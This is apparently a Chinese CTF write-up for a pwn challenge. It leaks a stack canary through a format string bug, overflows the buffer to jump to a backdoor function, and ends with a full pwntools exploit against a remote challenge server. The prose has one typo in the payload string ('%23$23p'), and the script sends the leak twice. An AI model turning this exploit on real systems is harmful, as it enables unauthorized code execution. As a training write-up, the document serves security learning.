首先检查下保护

除了PIE全开。
开始静态分析

一个格式化字符串漏洞

一个栈溢出漏洞

还有一个后门函数
思路就很清晰了,可以使用格式化字符串漏洞泄露canary来绕过栈保护。
那么开始第一步,构建格式化字符串来泄露canary
先测试一下printf参数在栈中的偏移

aaaa的ASCII码为61616161,可以看到他在栈中的偏移是6。然后再通过静态分析找出存储canary的变量与printf参数的偏移量

0x90-8=0x88,64位程序一个格式化字符占8个字节(64/8 = 8,同理32位是32/8=4字节) 0x88/8 = 17
再加上printf参数的6偏移,17+6=23,得到canary在栈中的偏移地址为23,此时就可通过“%23$23p”来泄露出canary的值,构造payload如下

payload1 ="%23$p"
c.sendlineafter("3. Exit the battle ","2")
c.sendline(payload1)

得到canary的值之后就可以正常进行栈溢出了
继续构建栈溢出的payload

c.sendlineafter("3. Exit the battle ","1")
payload2 = b'a'*(0x88) + p64(canary) + b'a'*8 + p64(0x4008da)    #0x4008da为后门函数地址,可以在ida中查到
c.sendline(payload2)

完整exp如下

from pwn import *
context.log_level = "debug"
c = remote("111.200.241.244",59557)
payload1 ="%23$p"
c.sendlineafter("3. Exit the battle ","2")
c.sendline(payload1)
c.sendline(payload1)
c.recvuntil("0x")
canary = int(c.recv(16),16)
print(canary)
c.sendlineafter("3. Exit the battle ","1")
payload2 = b'a'*(0x88) + p64(canary) + b'a'*8 + p64(0x4008da)
c.sendline(payload2)
c.interactive()

运行即可获得flag